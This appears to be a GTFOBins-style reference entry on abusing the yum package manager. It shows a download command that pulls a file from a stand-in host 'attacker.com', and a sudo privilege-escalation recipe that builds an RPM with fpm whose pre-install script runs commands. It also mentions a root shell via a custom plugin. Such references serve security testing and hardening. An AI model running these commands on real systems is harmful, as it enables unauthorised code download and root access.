File download

It can download remote files.

Fetch a remote file via HTTP GET request. The file on the remote host must have an extension of .rpm, the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in /var/tmp, for example /var/tmp/yum-root-cR0O4h/.
```
RHOST=attacker.com
RFILE=file_to_get.rpm
yum install http://$RHOST/$RFILE
```

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

It runs commands using a specially crafted RPM package. Generate it with fpm and upload it to the target.

TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF

sudo yum localinstall -y x-1.0-1.noarch.rpm

Spawn interactive root shell by loading a custom plugin.
